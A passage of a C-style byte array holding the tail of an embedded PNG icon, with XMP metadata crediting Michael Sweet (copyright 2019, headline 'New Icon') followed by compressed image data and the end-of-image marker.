112,69,120,116,61,34,104,116,116,112,58,47,47,105,112,116, 99,46,111,114,103,47,115,116,100,47,73,112,116,99,52,120, 109,112,69,120,116,47,50,48,48,56,45,48,50,45,50,57, 47,34,10,32,32,32,32,32,32,32,32,32,32,32,32,120, 109,108,110,115,58,112,104,111,116,111,115,104,111,112,61,34, 104,116,116,112,58,47,47,110,115,46,97,100,111,98,101,46, 99,111,109,47,112,104,111,116,111,115,104,111,112,47,49,46, 48,47,34,62,10,32,32,32,32,32,32,32,32,32,60,100, 99,58,99,114,101,97,116,111,114,62,10,32,32,32,32,32, 32,32,32,32,32,32,32,60,114,100,102,58,83,101,113,62, 10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 60,114,100,102,58,108,105,62,77,105,99,104,97,101,108,32, 83,119,101,101,116,60,47,114,100,102,58,108,105,62,10,32, 32,32,32,32,32,32,32,32,32,32,32,60,47,114,100,102, 58,83,101,113,62,10,32,32,32,32,32,32,32,32,32,60, 47,100,99,58,99,114,101,97,116,111,114,62,10,32,32,32, 32,32,32,32,32,32,60,100,99,58,114,105,103,104,116,115, 62,10,32,32,32,32,32,32,32,32,32,32,32,32,60,114, 100,102,58,65,108,116,62,10,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,60,114,100,102,58,108,105,32,120, 109,108,58,108,97,110,103,61,34,120,45,100,101,102,97,117, 108,116,34,62,67,111,112,121,114,105,103,104,116,32,50,48, 49,57,32,77,105,99,104,97,101,108,32,83,119,101,101,116, 60,47,114,100,102,58,108,105,62,10,32,32,32,32,32,32, 32,32,32,32,32,32,60,47,114,100,102,58,65,108,116,62, 10,32,32,32,32,32,32,32,32,32,60,47,100,99,58,114, 105,103,104,116,115,62,10,32,32,32,32,32,32,32,32,32, 60,73,112,116,99,52,120,109,112,69,120,116,58,72,101,97, 100,108,105,110,101,62,78,101,119,32,73,99,111,110,60,47, 73,112,116,99,52,120,109,112,69,120,116,58,72,101,97,100, 108,105,110,101,62,10,32,32,32,32,32,32,32,32,32,60, 112,104,111,116,111,115,104,111,112,58,72,101,97,100,108,105, 110,101,62,78,101,119,32,73,99,111,110,60,47,112,104,111, 116,111,115,104,111,112,58,72,101,97,100,108,105,110,101,62, 10,32,32,32,32,32,32,60,47,114,100,102,58,68,101,115, 99,114,105,112,116,105,111,110,62,10,32,32,32,60,47,114, 100,102,58,82,68,70,62,10,60,47,120,58,120,109,112,109, 101,116,97,62,10,221,242,56,27,0,0,6,18,73,68,65, 84,88,195,205,88,107,108,83,101,24,254,214,181,167,235,118, 206,217,122,218,173,235,117,237,186,118,184,139,12,54,29,101, 23,131,65,162,81,103,32,138,9,94,98,212,95,4,141,18, 19,209,24,35,9,248,151,63,38,70,163,36,42,137,127,192, 72,212,31,234,140,63,20,52,138,36,154,152,200,85,2,136, 147,31,178,49,86,217,70,251,250,124,223,185,245,180,29,56, 24,137,223,147,179,45,237,250,60,239,251,62,239,119,43,99, 255,155,81,195,106,153,27,112,225,175,155,48,92,172,78,110, 97,17,214,202,252,172,129,73,16,115,45,45,125,61,139,43, 7,149,121,229,152,242,142,123,45,75,178,16,107,100,62,230, 89,154,124,56,125,155,252,173,66,10,201,128,66,234,140,242, 163,188,93,234,97,49,22,96,242,141,230,35,232,149,111,56, 189,9,89,60,106,81,57,87,191,215,183,158,165,144,143,202, 234,174,207,31,23,42,158,148,15,152,180,230,79,7,242,202, 15,245,47,75,203,224,144,31,193,240,124,106,22,67,159,26, 252,229,19,58,66,187,104,173,35,254,10,201,130,250,123,253, 110,247,40,75,176,102,148,205,243,95,68,56,125,251,189,199, 206,18,81,15,141,209,7,116,130,222,163,135,169,185,74,38, 178,253,251,130,252,69,221,227,172,133,121,175,37,33,232,87, 28,253,3,244,221,180,146,214,81,63,62,206,101,38,232,83, 218,76,41,71,46,21,5,60,192,52,148,234,170,244,178,183, 67,249,237,43,65,223,79,15,210,38,186,155,66,212,72,97, 242,210,16,189,75,23,232,59,122,5,194,213,179,81,207,195, 17,247,194,244,181,160,207,170,39,55,17,9,129,59,233,41, 90,15,234,48,68,30,161,7,168,13,20,61,120,231,20,61, 228,136,93,182,254,86,167,225,133,103,97,122,69,234,82,206, 40,116,24,36,189,160,222,66,183,83,132,94,164,113,250,144, 158,165,219,32,201,199,1,74,84,120,96,225,50,154,87,90, 152,190,71,57,167,208,106,97,238,61,244,4,74,20,65,14, 79,227,231,32,189,137,226,240,241,19,5,203,168,229,82,87, 174,176,246,234,2,46,65,63,193,255,109,39,104,166,96,234, 24,169,180,134,238,163,86,228,177,5,249,244,226,245,11,212, 81,70,93,142,234,2,176,86,186,69,249,83,255,200,56,153, 67,151,81,16,255,32,117,137,87,158,89,96,78,152,62,104, 127,99,189,242,84,89,20,188,105,245,148,25,195,89,114,14, 93,134,155,123,2,221,84,30,113,105,203,250,167,59,103,43, 77,174,193,106,18,215,14,169,196,193,255,245,31,90,104,60, 239,232,156,178,137,70,141,51,157,212,57,201,226,229,2,30, 214,28,216,221,74,1,1,21,213,126,141,62,171,42,50,103, 117,143,92,197,102,117,54,91,204,82,230,12,139,58,231,1, 204,13,141,197,139,113,88,25,2,2,120,250,105,35,109,167, 189,116,174,76,96,188,202,12,182,48,223,81,200,82,39,165, 127,198,214,228,118,198,31,77,158,76,97,1,136,9,180,2, 26,100,130,232,249,49,122,155,126,165,130,37,240,106,21,106, 99,138,21,218,231,59,73,8,140,99,201,171,45,173,191,28, 219,192,223,202,82,169,136,158,139,134,130,181,211,99,244,57, 93,18,2,247,151,213,222,20,82,139,169,217,44,233,72,191, 143,181,200,85,58,185,130,189,95,118,161,5,187,41,99,136, 112,153,56,4,184,140,102,248,146,164,29,232,160,109,85,59, 72,161,120,94,39,231,129,182,237,192,22,84,178,154,186,89, 180,255,175,62,90,14,116,67,38,107,201,216,5,11,24,185, 112,84,219,15,34,211,58,181,142,200,147,88,139,75,4,36, 150,204,205,13,16,7,23,233,50,100,236,92,116,17,221,23, 187,145,109,180,76,153,212,157,66,70,201,161,233,89,169,64, 122,148,86,81,14,157,99,138,84,207,37,68,118,35,171,150, 3,205,83,102,105,12,145,153,242,105,6,129,53,52,10,228, 128,85,150,72,31,85,250,162,139,148,230,226,159,214,233,51, 70,56,105,74,126,204,130,206,237,70,98,169,158,124,110,114, 180,48,34,100,120,46,3,37,185,152,34,25,33,18,183,100, 52,32,152,215,169,59,4,218,65,159,46,42,67,78,7,248, 44,72,118,206,241,20,251,242,171,167,121,46,35,142,92,250, 22,240,37,68,225,217,76,17,148,32,110,55,94,111,163,248, 81,236,102,21,203,68,34,59,105,214,112,25,173,188,56,156, 231,34,35,150,200,128,229,10,207,69,47,89,146,98,243,237, 133,180,69,204,17,199,50,210,242,2,90,180,236,32,134,54, 205,124,100,119,49,71,215,196,192,193,59,142,143,26,34,185, 18,95,186,1,94,174,76,33,53,111,210,198,141,194,69,41, 114,24,241,87,236,4,110,214,154,121,203,110,52,83,38,67, 61,199,7,15,14,79,112,25,167,47,200,4,243,150,199,155, 0,169,65,13,180,30,193,62,80,95,121,96,169,101,205,233, 157,102,23,103,4,210,134,105,64,161,59,159,155,30,17,230, 155,50,43,40,149,231,180,17,129,48,12,15,243,133,229,180, 55,11,123,93,213,118,50,45,241,28,143,184,67,16,139,94, 64,141,83,162,210,73,81,134,4,221,122,113,40,63,98,244, 88,118,58,42,72,5,173,64,51,181,156,151,186,112,166,115, 85,191,92,168,225,71,59,140,110,72,10,106,219,180,184,49, 201,34,40,67,162,176,124,106,104,174,119,42,108,211,226,9, 2,129,73,79,63,83,22,58,108,213,176,6,237,46,155,54, 97,153,230,44,67,171,65,203,73,117,218,160,88,161,48,233, 102,220,195,184,49,92,229,44,231,149,187,18,100,155,22,53, 77,19,196,78,218,128,120,116,226,38,242,227,105,188,220,176, 142,53,93,253,168,88,203,252,45,235,99,251,162,179,122,180, 54,109,105,25,130,130,84,3,169,160,21,192,218,58,239,219, 128,131,187,251,90,87,60,15,166,71,76,25,14,237,10,77, 148,210,6,172,50,52,149,208,242,83,133,190,108,203,87,112, 150,214,174,69,111,246,146,132,46,8,73,221,218,214,224,161, 128,88,206,204,104,253,118,188,214,62,214,192,233,139,222,205, 88,216,60,139,185,172,186,49,81,2,44,37,111,108,218,215, 52,91,22,173,129,6,160,158,63,69,105,27,246,94,207,98, 47,78,252,70,236,133,105,49,223,176,186,75,158,176,227,213, 137,57,124,226,169,123,29,183,51,233,122,239,153,86,193,124, 91,125,151,120,188,58,41,104,13,120,223,192,209,196,123,99, 215,88,171,96,13,47,249,78,215,217,212,128,180,7,139,154, 119,41,110,201,122,193,26,89,172,118,76,250,190,174,32,145, 135,36,146,246,227,228,86,183,148,95,42,24,5,243,244,121, 246,120,46,185,191,198,21,220,183,244,223,89,232,5,211,96, 172,134,232,93,236,166,140,26,16,215,46,230,170,253,47,120, 125,171,15,164,64,176,74,0,0,0,0,73,69,78,68,174, 66,96,130, };